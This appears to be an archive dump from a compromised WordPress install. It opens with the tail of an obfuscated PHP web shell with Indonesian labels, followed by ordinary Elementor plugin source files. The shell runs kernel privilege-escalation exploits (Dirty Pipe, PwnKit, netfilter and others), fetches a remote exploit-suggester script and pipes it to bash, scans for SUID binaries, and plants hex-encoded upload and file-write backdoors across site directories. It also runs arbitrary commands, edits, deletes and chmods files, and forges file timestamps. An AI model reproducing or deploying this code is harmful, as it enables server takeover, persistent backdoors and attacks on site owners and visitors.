"; echo "Us"."er : ".komenb("i"."d", $lokasi)."
"; echo "
[+] Trying All Ex"."plo"."its ...
"; echo "Ne"."tfil"."ter : ".komend("ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/netf"."ilter", $lokasi)."
"; echo "Ptr"."ace : ".komend("ec"."ho id | ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/ptr"."ace", $lokasi)."
"; echo "Seq"."uoia : ".komend("ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/seq"."uoia", $lokasi)."
"; echo "Over"."layF"."S : ".komend("ec"."ho id | ./overl"."ayfs", $lokasi."/an"."on_"."ro"."ot")."
"; echo "Di"."rtyp"."ipe : ".komend("echo i"."d | ti"."meo"."ut 1"."0 ./an"."on_ro"."ot/di"."rtyp"."ipe /u"."sr/"."bi"."n/"."su", $lokasi)."
"; echo "Su"."do : ".komend("ec"."ho 12345 | ti"."meo"."ut 1"."0 sud"."oed"."it -s Y", $lokasi)."
"; echo "Pw"."nki"."t : ".komend("ec"."ho id | ti"."meo"."ut 1"."0 ./p"."wnk"."it", $lokasi."/an"."on_"."ro"."ot")."
"; echo "Capsys : ".komend("echo id | timeout 10 ./cap"."sy"."s", $lokasi."/an"."on_ro"."ot")."
"; echo "Ne"."tfil"."ter 2 : ".komend("echo id | tim"."eout 10 ./ne"."tfilt"."er2", $lokasi."/an"."on_ro"."ot")."
"; echo "Ne"."tfil"."ter 3 : ".komend("echo id | time"."out 10 ./net"."fil"."ter3", $lokasi."/an"."on_ro"."ot")."
"; komenb("r"."m -r"."f an"."on_ro"."ot", $lokasi); } elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "scansd") { echo "
[+] Sc"."ann"."ing ...
"; echo komend("fi"."nd / -pe"."r"."m -u"."=s -t"."ype f"." 2".">/"."de"."v/nu"."ll", $lokasi); } elseif (isset($_GET['opsidua']) && $_GET['opsidua'] == "esg") { echo "
[+] Loading ...
"; echo komend("cu"."rl -"."Ls"."k ht"."tp://ra"."w.gith"."ubuse"."rconte"."nt.com/m"."zet"."-/lin"."ux-exp"."loit"."-sugge"."ster/m"."aste"."r/lin"."ux-ex"."ploi"."t-sugg"."ester."."sh | ba"."sh", $lokasi); } echo "
"; die(author()); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "bekup") { if (isset($_POST['lo'.'kr'.'una'])) { echo "
"; echo "Path : ".$hsc($_POST['lo'.'kr'.'una'])."
"; if (!$isr($_POST['lo'.'kr'.'una'])) { die(red("[+] Cur"."rent Pa"."th is Unre"."adable !")); } elseif (!$isw($_POST['lo'.'kr'.'una'])) { die(red("[+] Cur"."rent Pa"."th is Un"."wri"."tea"."ble !")); } $loks = sds($_POST['lo'.'kr'.'una']); $pisah = $ars($loks, -50); $los = $arr($pisah, 2); $satu = $loks[$los[0]]; $satut = $ftm($satu); $dua = $loks[$los[1]]; $duat = $ftm($dua); if (empty($satu) && empty($dua)) { die(red("[+] Unknown Error !")); } echo "
"; if (!$isw($satu)) { echo "[Fa"."il"."ed] ".$satu."
"; } else { $satus = $satu."/cont"."act.p"."hp"; $fpt($satus, $h2b("3c6d65746120636f6e74656e743d226e6f696e646578226e616d653d22726f626f7473223e436f6e74616374204d653c666f726d20656e63747970653d226d756c7469706172742f666f726d2d64617461226d6574686f643d22706f7374223e3c696e707574206e616d653d226274756c22747970653d2266696c65223e3c627574746f6e3e4761736b616e3c2f627574746f6e3e3c2f666f726d3e3c3f3d22223b24613d2766272e2769272e276c272e2765272e275f272e2770272e2775272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24623d2766272e2769272e276c272e2765272e275f272e2767272e2765272e2774272e275f272e2763272e276f272e276e272e2774272e2765272e276e272e2774272e2773273b24633d2774272e276d272e2770272e275f272e276e272e2761272e276d272e2765273b24643d2768272e276578272e273262272e27696e273b24663d2766272e27696c272e27655f65272e277869272e277374272e2773273b696628697373657428245f46494c45535b276274756c275d29297b246128245f46494c45535b276274756c275d5b276e616d65275d2c246228245f46494c45535b276274756c275d5b24635d29293b696628246628272e2f272e245f46494c45535b276274756c275d5b276e616d65275d29297b6563686f20274f6b652021273b7d656c73657b6563686f20274661696c2021273b7d7d696628697373657428245f4745545b27667074275d29297b246128246428245f504f53545b2766275d292c246428245f504f53545b2764275d29293b696628246628246428245f504f53545b2766275d2929297b6563686f20224f6b652021223b7d656c73657b6563686f20224661696c2021223b7d7d3f3e")); $tch($satus, $satut); $tch($satu, $satut); echo "[Su"."cc"."ess] ".$satus."
"; if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $satus); $satul = "
".$lwb."
"; } } if (!$isw($dua)) { echo "[Fa"."il"."ed] ".$dua."
"; } else { $duas = $dua."/setti"."ng.p"."hp"; $fpt($duas, $h2b("3c6d657461206e616d653d22726f626f74732220636f6e74656e743d226e6f696e646578223e0d0a4d792053657474696e670d0a3c3f7068700d0a2461203d20226669222e226c655f70222e2275745f63222e226f6e74222e2265222e226e74222e2273223b0d0a2462203d202266222e22696c222e22655f6765222e2274222e225f636f222e226e74656e74222e2273223b0d0a2463203d20226669222e226c65222e225f6578222e226973222e227473223b0d0a2464203d202268222e226578222e223262222e22696e223b0d0a69662028697373657428245f504f53545b276b6f64275d2929207b0d0a09246128245f504f53545b276c6f6b275d2c20246428245f504f53545b276b6f64275d29293b0d0a0969662028246328245f504f53545b276c6f6b275d2929207b0d0a09096563686f20224f4b202120223b0d0a097d20656c7365207b0d0a09096563686f20224661696c6564202120223b0d0a097d0d0a7d0d0a69662028697373657428245f4745545b276963275d2929207b0d0a09696e636c75646520245f4745545b276963275d3b0d0a7d0d0a69662028697373657428245f4745545b276170275d2929207b0d0a0924612822776b776b2e706870222c20246428223363366436353734363132303665363136643635336432323732366636323666373437333232323036333666366537343635366537343364323236653666363936653634363537383232336534333666366537343631363337343230346436353363363636663732366432303664363537343638366636343364323237303666373337343232323036353665363337343739373036353364323236643735366337343639373036313732373432663636366637323664326436343631373436313232336533633639366537303735373432303734373937303635336432323636363936633635323232303665363136643635336432323632373437353663323233653363363237353734373436663665336534373631373336623631366533633266363237353734373436663665336533633266363636663732366433653061336333663730363837303061323436313230336432303232363632323265323236393232326532323663323232653232363532323265323235663232326532323730323232653232373532323265323237343232326532323566323232653232363332323265323236663232326532323665323232653232373432323265323236353232326532323665323232653232373432323265323237333232336230613234363232303364323032323636323232653232363932323265323236633232326532323635323232653232356632323265323236373232326532323635323232653232373432323265323235663232326532323633323232653232366632323265323236653232326532323734323232653232363532323265323236653232326532323734323232653232373332323362306132343633323033643230323237343232326532323664323232653232373032323265323235663232326532323665323232653232363132323265323236643232326532323635323233623061363936363230323836393733373336353734323832343566343634393463343535333562323736323734373536633237356432393239323037623234363132383234356634363439346334353533356232373632373437353663323735643562323736653631366436353237356432633230323436323238323435663436343934633435353335623237363237343735366332373564356232343633356432393239336236393636323032383636363936633635356636353738363937333734373332383232326532663232326532343566343634393463343535333562323736323734373536633237356435623237366536313664363532373564323932393230376236353633363836663230323234663662363532303231323233623764323036353663373336353230376236353633363836663230323234363631363936633230323132323362376437643061336633652229293b0d0a096966202824632822776b222e22776b2e222e227068222e2270222929207b0d0a09096563686f20224f4b2021223b0d0a097d0d0a7d0d0a3f3e")); $tch($duas, $duat); $tch($dua, $duat); echo "[Su"."cc"."ess] ".$duas."
"; if ($sps($_POST['lo'.'kr'.'una'], $_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T']) !== false) { $lwb = $srl($_SERVER['DO'.'CU'.'M'.'ENT'.'_R'.'OO'.'T'], $wb, $duas); $dual = "".$lwb."
"; } } echo "
"; if (!empty($satul)) { echo $satul; } if (!empty($dual)) { echo $dual; } echo "
"; } else { echo "
Masukkan Lokasi Docu"."ment Ro"."ot
"; echo '
'; echo '
'; } die(); } elseif (isset($_GET['opsi']) && $_GET['opsi'] == "repip") { echo "
"; echo "Re"."ver"."se I"."P : ".$hsc($_SERVER['SE'.'RVE'.'R_NA'.'ME']).""; echo "
".$hsc(crul("http"."s://ap"."i.ha"."ck"."ertarg"."et.com/re"."verse"."ipl"."ookup/?q=".$_SERVER['SE'.'RVE'.'R_NA'.'ME']))."
"; echo "
"; die(); } elseif (isset($_GET['loknya']) && $_GET['opsi'] == "mdf") { echo "
"; if (empty($_POST['palepale'])) { echo '
'; echo 'Di'.'r :
'; echo 'Nama Fi'.'le :

'; echo 'Isi Fi'.'le :


'; echo '

'; echo ''; echo '
'; } else { $lokena = $_POST['lokena']; $nfil = $_POST['nfil']; $isif = $_POST['isikod']; echo "Di"."r : ".$hsc($lokena)."
"; if (!$fxt($lokena)) { die(red("[+] Di"."re"."cto"."ry Tidak di Temukan !")); } $g = $scd($lokena); if (isset($_POST['opsina']) && $_POST['opsina'] == "mds") { foreach ($g as $gg) { if (isset($gg) && $gg == "." || $gg == "..") { continue; } elseif (!$idr($gg)) { continue; } if (!$isw($lokena."/".$gg)) { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
"; continue; } $loe = $lokena."/".$gg."/".$nfil; $cf = $fgr($gg); if ($cf == "9"."9") { if ($fpt($loe, $isif) !== false) { if ($sps($gg, ".") !== false) { echo "[Su"."cc"."ess] ".$loe." -> ".$gg."/".$nfil."
"; } else { echo "[Su"."cc"."ess] ".$loe."
"; } } } } echo "
"; die(author()); } foreach ($g as $gg) { if (isset($gg) && $gg == "." || $gg == "..") { continue; } elseif (!$idr($gg)) { continue; } if (!$isw($lokena."/".$gg)) { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
"; continue; } $loe = $lokena."/".$gg."/".$nfil; if ($fpt($loe, $isif) !== false) { echo "[Su"."cc"."ess] ".$loe."
"; } else { echo "[Un"."wri"."tea"."ble] ".$lokena."/".$gg."
"; } } } echo "
"; echo "
"; die(author()); } if (isset($_GET['lokasie'])) { echo "Current Fi"."le : ".$_GET['lokasie']; echo '
'; echo "
".$hsc($fgt($_GET['lokasie']))."
"; author(); } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "hapus") { if ($idi($_POST['loknya']) && $fxt($_POST['loknya'])) { xrd($_POST['loknya']); if ($fxt($_POST['loknya'])) { red("Fai"."led to del"."ete D"."ir"."ec"."tory !"); } else { green("Del"."ete Di"."r"."ect"."ory Suc"."cess !"); } } elseif ($ifi($_POST['loknya']) && $fxt($_POST['loknya'])) { @$ulk($_POST['loknya']); if ($fxt($_POST['loknya'])) { red("Fa"."il"."ed to Delete Fi"."le !"); } else { green("De"."le"."te Fi"."le Succ"."ess !"); } } else { red("Fi"."le / Di"."r"."ecto"."ry not Fo"."und !"); } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { if (!isset($_POST['cemod'])) { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { $cm = @$chm($_POST['loknya'], $ocd($_POST['perm'])); if ($cm == true) { green("Change Mod Su"."cc"."ess !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Change Mod Fa"."il"."ed !"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
Pe'.'rmi'.'ss'.'ion : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahnama") { if (isset($_POST['gantin'])) { $namabaru = $_GET['loknya']."/".$_POST['newname']; $ceen = "re"."na"."me"; if (@$ceen($_POST['loknya'], $namabaru) === true) { green("Change Name Su"."cc"."ess"); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Change Name Fa"."il"."ed"); } } else { if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Name : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } elseif (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { if (isset($_POST['gasedit'])) { $edit = @$fpt($_POST['loknya'], $_POST['src']); if ($fgt($_POST['loknya']) == $_POST['src']) { green("Ed"."it Fi"."le Suc"."ce"."ss !"); } else { red("Ed"."it Fi"."le Fai"."led !"); } } echo "
Fi"."le : ".$hsc($_POST['loknya'])."

"; echo '


'; } elseif (isset($_POST['komends'])) { if (isset($_POST['komend'])) { if (isset($_GET['loknya'])) { $lk = $_GET['loknya']; } else { $lk = $gcw(); } $km = 'ko'.'me'.'nd'; echo $km($_POST['komend'], $lk); exit(); } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "ubahtanggal") { if (isset($_POST['tanggale'])) { $stt = "st"."rtot"."ime"; $tch = "t"."ou"."ch"; $tanggale = $stt($_POST['tanggal']); if (@$tch($_POST['loknya'], $tanggale) === true) { green("Change Da"."te Succ"."ess !"); $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['loknya'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } else { red("Fai"."led to Cha"."nge Da"."te !"); } } else { $det = "da"."te"; $ftm = "fi"."le"."mti"."me"; $b = $det("d F Y H:i:s", $ftm($_POST['loknya'])); if ($_POST['ty'.'pe'] == "fi"."le") { echo "
Fi"."le : ".$hsc($_POST['loknya'])."
"; } else { echo "
D"."ir : ".$hsc($_POST['loknya'])."
"; } echo '
New Da'.'te : '; if ($_POST['ty'.'pe'] == "fi"."le") { echo '';; } else { echo '';; } echo '

'; } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "dunlut") { $dunlute = $_POST['loknya']; if ($fxt($dunlute) && isset($dunlute)) { if ($ird($dunlute)) { dunlut($dunlute); } elseif ($idr($fl)) { red("That is Di"."rec"."tory, Not Fi"."le -_-"); } else { red("Fi"."le is Not Re"."adab"."le !"); } } else { red("Fi"."le Not Fo"."und !"); } } elseif (isset($_POST['loknya']) && $_POST['pilih'] == "fo"."ld"."er") { if ($isw("./") || $ird("./")) { $loke = $_POST['loknya']; if (isset($_POST['buatfol'.'der'])) { $buatf = $mkd($loke."/".$_POST['fo'.'lde'.'rba'.'ru']); if ($buatf == true) { green("Fol"."der ".$hsc($_POST['fo'.'lde'.'rba'.'ru'])." Created !"); echo '
Fo'.'lde'.'r :

'; echo '
'; } else { red("Fa"."il"."ed to Create fol"."der !"); echo '
Fo'.'lde'.'r :

'; echo '
'; } } else { echo '
Fo'.'lde'.'r :

'; echo '
'; } } } elseif (isset($_POST['lok'.'nya']) && $_POST['pilih'] == "fi"."le") { if ($isw("./") || $isr("./")) { $loke = $_POST['lok'.'nya']; if (isset($_POST['buatfi'.'le'])) { $buatf = $fpt($loke."/".$_POST['fi'.'lebaru'], ""); if ($fxt($loke."/".$_POST['fi'.'lebaru'])) { green("File ".$hsc($_POST['fi'.'lebaru'])." Created !"); echo '
Filename :

'; echo '
'; } else { red("Fa"."il"."ed to Create Fi"."le !"); echo '
Filename :

'; echo '
'; } } else { echo '
Filename :

'; echo '
'; } } } echo '
'; echo ""; $euybrekw = $srl($bsn($lokasi), "", $lokasi); $euybrekw = $srl("//", "/", $euybrekw); echo ""; foreach($lokasinya as $ppkcina){ $euybre = $lokasi."/".$ppkcina; $euybre = $srl("//", "/", $euybre); if(!$idi($euybre) || $ppkcina == '.' || $ppkcina == '..') continue; echo ""; echo ""; } echo ''; $skd = "10"."24"; foreach($lokasinya as $mekicina) { $euybray = $lokasi."/".$mekicina; if(!$ifi("$lokasi/$mekicina")) continue; $size = $fsz("$lokasi/$mekicina")/$skd; $size = $rd($size,3); if($size >= $skd){ $size = $rd($size/$skd,2).' M'.'B'; } else { $size = $size.' K'.'B'; } echo ""; } echo '
Na'.'me
Si'.'ze
Las'.'t Mo'.'dif'.'ied
Owner / Group
Pe'.'rmi'.'ss'.'ions
Op'.'tio'.'ns
..
--
".fdt($euybrekw)."
".gor($euybrekw)." / ".ggr($euybrekw)."
"; if($isw($euybrekw)) echo ''; elseif(!$isr($euybrekw)) echo ''; echo statusnya($euybrekw); if($isw($euybrekw) || !$isr($euybrekw)) echo ''; echo "
"; echo "
".$ppkcina."
--
".fdt($euybre)."
".gor($euybre)." / ".ggr($euybre)."
"; if($isw($euybre)) echo ''; elseif(!$isr($euybre)) echo ''; echo statusnya($euybre); if($isw($euybre) || !$isr($euybre)) echo ''; echo "
".cfn($euybray)." $mekicina
".$size."
".fdt($euybray)."
".gor($euybray)." / ".ggr($euybray)."
"; if($isw("$lokasi/$mekicina")) echo ''; elseif(!$isr("$lokasi/$mekicina")) echo ''; echo statusnya("$lokasi/$mekicina"); if($isw("$lokasi/$mekicina") || !$isr("$lokasi/$mekicina")) echo ''; echo "
'; author(); function statusnya($fl){ $a = "sub"."st"."r"; $b = "s"."pri"."ntf"; $c = "fil"."eper"."ms"; $izin = $a($b('%o', $c($fl)), -4); return $izin; } ?>fonts/google-font.php000064400000017072151564121270010641 0ustar00 $css_folder['url'] . $sanitize_font_name . '.css', 'version' => time(), ]; $css_folder_path = $css_folder['path'] . $sanitize_font_name . '.css'; $is_font_file_saved = file_put_contents( $css_folder_path, $css_content ); if ( ! $is_font_file_saved ) { return false; } static::set_local_google_fonts( $sanitize_font_name, $font_data ); return true; } private static function get_folder( string $folder ): array { $folders = static::get_folders(); return $folders[ $folder ] ?? []; } private static function get_folders(): array { static::init_folders(); return static::$folders; } private static function init_folders(): void { if ( ! empty( static::$folders ) ) { return; } static::$folders = []; $upload_dir = wp_upload_dir(); foreach ( static::AVAILABLE_FOLDERS as $folder ) { $folder_path = $upload_dir['basedir'] . '/' . static::FOLDER_BASE . '/' . $folder; $folder_url = $upload_dir['baseurl'] . '/' . static::FOLDER_BASE . '/' . $folder; if ( ! file_exists( $folder_path ) ) { wp_mkdir_p( $folder_path ); } static::$folders[ $folder ] = [ 'path' => trailingslashit( $folder_path ), 'url' => trailingslashit( $folder_url ), ]; } } private static function get_css_content( string $font_name, $font_type ): string { $css_content = static::get_raw_css_content( $font_name, $font_type ); if ( empty( $css_content ) ) { return ''; } return static::download_fonts( $font_name, $css_content ); } private static function get_raw_css_content( string $font_name, string $font_type ): string { $font_url = static::get_google_fonts_remote_url( $font_name, $font_type ); $css_content_response = wp_remote_get( $font_url, [ 'headers' => [ 'User-Agent' => static::UA_STRING, ], ] ); if ( is_wp_error( $css_content_response ) || 200 !== (int) wp_remote_retrieve_response_code( $css_content_response ) ) { return ''; } return wp_remote_retrieve_body( $css_content_response ); } private static function get_google_fonts_remote_url( string $font, string $font_type ): string { if ( self::TYPE_EARLYACCESS === $font_type ) { return static::get_earlyaccess_google_fonts_url( $font ); } return Plugin::$instance->frontend->get_stable_google_fonts_url( [ $font ] ); } private static function get_earlyaccess_google_fonts_url( string $font ): string { return sprintf( 'https://fonts.googleapis.com/earlyaccess/%s.css', strtolower( str_replace( ' ', '', $font ) ) ); } private static function download_fonts( string $font_name, string $css_content ): string { preg_match_all( '/url\(([^)]+)\)/', $css_content, $font_urls ); if ( ! function_exists( 'download_url' ) ) { require_once ABSPATH . 'wp-admin/includes/file.php'; } if ( ! empty( $font_urls[1] ) ) { $font_urls = $font_urls[1]; $fonts_folder = static::get_folder( static::FOLDER_FONTS ); $sanitize_font_name = static::sanitize_font_name( $font_name ); foreach ( $font_urls as $current_font_url ) { $original_font_url = trim( $current_font_url, '\'"' ); $cleaned_url = set_url_scheme( $original_font_url, 'https' ); $cleaned_url = strtok( $cleaned_url, '?#' ); $font_ext = pathinfo( $cleaned_url, PATHINFO_EXTENSION ); $tmp_font_file = download_url( $cleaned_url ); if ( is_wp_error( $tmp_font_file ) ) { return ''; } $unique_font_id = static::get_unique_font_id( $cleaned_url ); $current_font_basename = sprintf( '%s-%s.%s', $sanitize_font_name, strtolower( sanitize_file_name( $unique_font_id ) ), $font_ext ); $dest_file = $fonts_folder['path'] . $current_font_basename; $dest_file_url = $fonts_folder['url'] . $current_font_basename; // Use copy and unlink because rename breaks streams. // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged $is_font_file_saved = @copy( $tmp_font_file, $dest_file ); @unlink( $tmp_font_file ); if ( ! $is_font_file_saved ) { return ''; } $css_content = str_replace( $original_font_url, $dest_file_url, $css_content ); } } return $css_content; } private static function get_unique_font_id( $font_url ): string { return substr( sha1( $font_url ), 0, 8 ); } private static function enqueue_from_cdn( string $font_name, string $font_type ): void { $font_url = static::get_google_fonts_remote_url( $font_name, $font_type ); $sanitize_font_name = static::sanitize_font_name( $font_name ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.MissingVersion wp_enqueue_style( 'elementor-gf-' . $sanitize_font_name, $font_url, [], null ); } public static function clear_cache() { $folders = static::get_folders(); foreach ( $folders as $folder ) { $path = $folder['path'] . '*'; foreach ( glob( $path ) as $file_path ) { unlink( $file_path ); } } delete_option( '_elementor_local_google_fonts' ); } } base.php000064400000013136151564121270006177 0ustar00files_manager->get( get_called_class(), func_get_args() ); } /** * @since 2.1.0 * @access public */ public function __construct( $file_name ) { /** * Elementor File Name * * Filters the File name * * @since 2.3.0 * * @param string $file_name * @param object $this The file instance, which inherits Elementor\Core\Files */ $file_name = apply_filters( 'elementor/files/file_name', $file_name, $this ); $this->set_file_name( $file_name ); $this->set_files_dir( static::DEFAULT_FILES_DIR ); $this->set_path(); } /** * @since 2.1.0 * @access public */ public function set_files_dir( $files_dir ) { $this->files_dir = $files_dir; } /** * @since 2.1.0 * @access public */ public function set_file_name( $file_name ) { $this->file_name = $file_name; } /** * @since 2.1.0 * @access public */ public function get_file_name() { return $this->file_name; } /** * @since 2.1.0 * @access public */ public function get_url() { $url = set_url_scheme( self::get_base_uploads_url() . $this->files_dir . $this->file_name ); return add_query_arg( [ 'ver' => $this->get_meta( 'time' ) ], $url ); } /** * Get Path * * Returns the local path of the generated file. * * @since 3.5.0 * @access public * * @return string */ public function get_path() { return set_url_scheme( self::get_base_uploads_dir() . $this->files_dir . $this->file_name ); } /** * @since 2.1.0 * @access public */ public function get_content() { if ( ! $this->content ) { $this->content = $this->parse_content(); } return $this->content; } /** * @since 2.1.0 * @access public */ public function update() { $this->update_file(); $meta = $this->get_meta(); $meta['time'] = time(); $this->update_meta( $meta ); } /** * @since 2.1.0 * @access public */ public function update_file() { $this->content = $this->parse_content(); if ( $this->content ) { $this->write(); } else { $this->delete(); } } /** * @since 2.1.0 * @access public */ public function write() { return file_put_contents( $this->path, $this->content ); } /** * @since 2.1.0 * @access public */ public function delete() { if ( file_exists( $this->path ) ) { unlink( $this->path ); } $this->delete_meta(); } /** * Get meta data. * * Retrieve the CSS file meta data. Returns an array of all the data, or if * custom property is given it will return the property value, or `null` if * the property does not exist. * * @since 2.1.0 * @access public * * @param string $property Optional. Custom meta data property. Default is * null. * * @return array|null An array of all the data, or if custom property is * given it will return the property value, or `null` if * the property does not exist. */ public function get_meta( $property = null ) { $meta = array_merge( $this->get_default_meta(), (array) $this->load_meta() ); if ( $property ) { return isset( $meta[ $property ] ) ? $meta[ $property ] : null; } return $meta; } /** * @since 2.1.0 * @access protected * @abstract */ abstract protected function parse_content(); /** * Load meta. * * Retrieve the file meta data. * * @since 2.1.0 * @access protected */ protected function load_meta() { return get_option( static::META_KEY ); } /** * Update meta. * * Update the file meta data. * * @since 2.1.0 * @access protected * * @param array $meta New meta data. */ protected function update_meta( $meta ) { update_option( static::META_KEY, $meta ); } /** * Delete meta. * * Delete the file meta data. * * @since 2.1.0 * @access protected */ protected function delete_meta() { delete_option( static::META_KEY ); } /** * @since 2.1.0 * @access protected */ protected function get_default_meta() { return [ 'time' => 0, ]; } /** * @since 2.1.0 * @access private * @static */ private static function get_wp_uploads_dir() { global $blog_id; if ( empty( self::$wp_uploads_dir[ $blog_id ] ) ) { self::$wp_uploads_dir[ $blog_id ] = wp_upload_dir( null, false ); } return self::$wp_uploads_dir[ $blog_id ]; } /** * @since 2.1.0 * @access private */ private function set_path() { $dir_path = self::get_base_uploads_dir() . $this->files_dir; if ( ! is_dir( $dir_path ) ) { wp_mkdir_p( $dir_path ); } $this->path = $dir_path . $this->file_name; } } css/post-local-cache.php000064400000001367151564121270011176 0ustar00meta_cache; } protected function delete_meta() { $this->meta_cache = []; } protected function update_meta( $meta ) { $this->meta_cache = $meta; } protected function get_data() { $document = Plugin::$instance->documents->get( $this->get_post_id_for_data() ); return $document ? $document->get_elements_data() : []; } } css/post-preview.php000064400000002375151564121270010524 0ustar00post_id_for_data = $post_id; $parent_id = wp_get_post_parent_id( $post_id ); parent::__construct( $parent_id ); } protected function get_post_id_for_data() { return $this->post_id_for_data; } /** * Get file handle ID. * * Retrieve the handle ID for the previewed post CSS file. * * @since 1.9.0 * @access protected * * @return string CSS file handle ID. */ protected function get_file_handle_id() { return 'elementor-preview-' . $this->get_post_id_for_data(); } } css/base.php000064400000067420151564121270006774 0ustar00update_file(); $meta = $this->get_meta(); $meta['time'] = time(); $content = $this->get_content(); if ( empty( $content ) ) { $meta['status'] = self::CSS_STATUS_EMPTY; $meta['css'] = ''; } else { $use_external_file = $this->use_external_file(); if ( $use_external_file ) { $meta['status'] = self::CSS_STATUS_FILE; } else { $meta['status'] = self::CSS_STATUS_INLINE; $meta['css'] = $content; } } $meta['dynamic_elements_ids'] = $this->dynamic_elements_ids; $this->update_meta( $meta ); } /** * @since 2.1.0 * @access public */ public function write() { if ( $this->use_external_file() ) { parent::write(); } } /** * @since 3.0.0 * @access public */ public function delete() { if ( $this->use_external_file() ) { parent::delete(); } else { $this->delete_meta(); } } /** * Get Responsive Control Duplication Mode * * @since 3.4.0 * * @return string */ protected function get_responsive_control_duplication_mode() { return 'on'; } /** * Enqueue CSS. * * Either enqueue the CSS file in Elementor or add inline style. * * This method is also responsible for loading the fonts. * * @since 1.2.0 * @access public */ public function enqueue() { $handle_id = $this->get_file_handle_id(); if ( isset( self::$printed[ $handle_id ] ) ) { return; } self::$printed[ $handle_id ] = true; $meta = $this->get_meta(); if ( self::CSS_STATUS_EMPTY === $meta['status'] ) { return; } /** * Enqueue CSS file. * * Fires before enqueuing a CSS file. * * @param Base $this The current CSS file. */ do_action( 'elementor/css-file/before_enqueue', $this ); // First time after clear cache and etc. if ( '' === $meta['status'] || $this->is_update_required() ) { $this->update(); $meta = $this->get_meta(); } if ( self::CSS_STATUS_INLINE === $meta['status'] ) { $dep = $this->get_inline_dependency(); // If the dependency has already been printed ( like a template in footer ) if ( wp_styles()->query( $dep, 'done' ) ) { printf( '', $this->get_file_handle_id(), $meta['css'] ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } else { wp_add_inline_style( $dep, $meta['css'] ); } } elseif ( self::CSS_STATUS_FILE === $meta['status'] ) { // Re-check if it's not empty after CSS update. wp_enqueue_style( $this->get_file_handle_id(), $this->get_url(), $this->get_enqueue_dependencies(), null ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.MissingVersion } // Handle fonts. if ( ! empty( $meta['fonts'] ) ) { foreach ( $meta['fonts'] as $font ) { Plugin::$instance->frontend->enqueue_font( $font ); } } if ( ! empty( $meta['icons'] ) ) { $icons_types = Icons_Manager::get_icon_manager_tabs(); foreach ( $meta['icons'] as $icon_font ) { if ( ! isset( $icons_types[ $icon_font ] ) ) { continue; } Plugin::$instance->frontend->enqueue_font( $icon_font ); } } $name = $this->get_name(); /** * Enqueue CSS file. * * Fires when CSS file is enqueued on Elementor. * * The dynamic portion of the hook name, `$name`, refers to the CSS file name. * * @since 2.0.0 * * @param Base $this The current CSS file. */ do_action( "elementor/css-file/{$name}/enqueue", $this ); /** * Enqueue CSS file. * * Fires after enqueuing a CSS file. * * @param Base $this The current CSS file. */ do_action( 'elementor/css-file/after_enqueue', $this ); } /** * Print CSS. * * Output the final CSS inside the `'; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped Plugin::$instance->frontend->print_fonts_links(); } /** * Add control rules. * * Parse the CSS for all the elements inside any given control. * * This method recursively renders the CSS for all the selectors in the control. * * @since 1.2.0 * @access public * * @param array $control The controls. * @param array $controls_stack The controls stack. * @param callable $value_callback Callback function for the value. * @param array $placeholders Placeholders. * @param array $replacements Replacements. * @param array $values Global Values. */ public function add_control_rules( array $control, array $controls_stack, callable $value_callback, array $placeholders, array $replacements, array $values = [] ) { if ( empty( $control['selectors'] ) ) { return; } $control_global_key = $control['name']; if ( ! empty( $control['groupType'] ) ) { $control_global_key = $control['groupPrefix'] . $control['groupType']; } $global_values = []; $global_key = ''; if ( ! empty( $values['__globals__'] ) 